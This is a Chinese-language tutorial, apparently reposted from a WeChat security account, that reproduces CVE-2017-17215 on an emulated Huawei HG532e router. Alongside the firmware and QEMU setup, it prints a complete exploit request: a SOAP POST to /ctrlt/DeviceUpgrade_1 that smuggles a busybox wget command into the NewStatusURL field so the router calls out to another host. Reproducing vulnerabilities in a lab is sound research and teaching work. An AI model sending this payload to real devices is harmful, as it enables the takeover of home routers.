Ubuntu16.04操作系统
qemu虚拟机
HG532eV100R001C01B020_upgrade_packet.bin固件
Ghidra逆向分析工具
1.提取固件
apt-get -y install binwalk #需要提前安装binwalk
binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin #解压后主程序位于squashfs-root/目录下
2.下载qemu虚拟机
sudo apt-get install -y qemu binfmt-support qemu-user-static
3.下载镜像
wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta
4.配置网络,创建网桥,实现虚拟机内部和Ubuntu的连接
sudo apt-get install bridge-utils
sudo brctl addbr Virbr0
sudo ifconfig Virbr0 192.168.50.51/24 up
5.创建tap接口,添加到网桥
sudo apt install uml-utilities
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.50.52/24 up
sudo brctl addif Virbr0 tap0
6.qemu虚拟机配置,账号密码都为root
apt install qemu-system-mips
#记得到下载的镜像下进行启动
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic
#进入虚拟机后,配置ip地址,测试与主机的连通性
ifconfig eth0 192.168.50.53/24 up
ping 192.168.50.51 -c 3
7.搭建HG532e漏洞环境
#回到主机中将squashfs-root文件夹复制到虚拟机,根据提示输入密码root
scp -r squashfs-root/ [email protected]:~/
#进入启动的虚拟机,挂载程序文件
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc
#启动shell,注意:这个shell是用来后面改IP地址的,
chroot squashfs-root sh
#在Ubuntu里面再单独开一个终端,使用ssh连接上去通过ssh启动的终端,启动路由器
ssh [email protected]
chroot squashfs-root /bin/sh
./bin/upnp
./bin/mic
#此时的虚拟机的路由IP已经发生了变化,ssh已经断开了,所以需要返回虚拟机的终端进行更改IP地址
ifconfig eth0 192.168.50.53/24 up
ifconfig br0 192.168.50.52/24 up
POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Host: 192.168.50.53:37215
User-Agent: Mozilla/5.0 (iPad; CPU iPad OS 9_3_5 like Mac OS X) AppleWebKit/535.2 (KHTML, like Gecko) FxiOS/15.8w3010.0 Mobile/65J335 Safari/535.2
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: text/xml
Authorization: Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669
Content-Length: 449
<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;/bin/busybox wget http://192.168.50.51:9000;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
netstat -nltup |grep 37215
grep -r ctrlt
grep -r DeviceUpgrade
grep -r NewStatusURL
grep -r NewDownloadURL
更多文章请前往:https://blog.csdn.net/qq_41490561
往期推荐
原文始发于微信公众号(网络运维渗透):华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论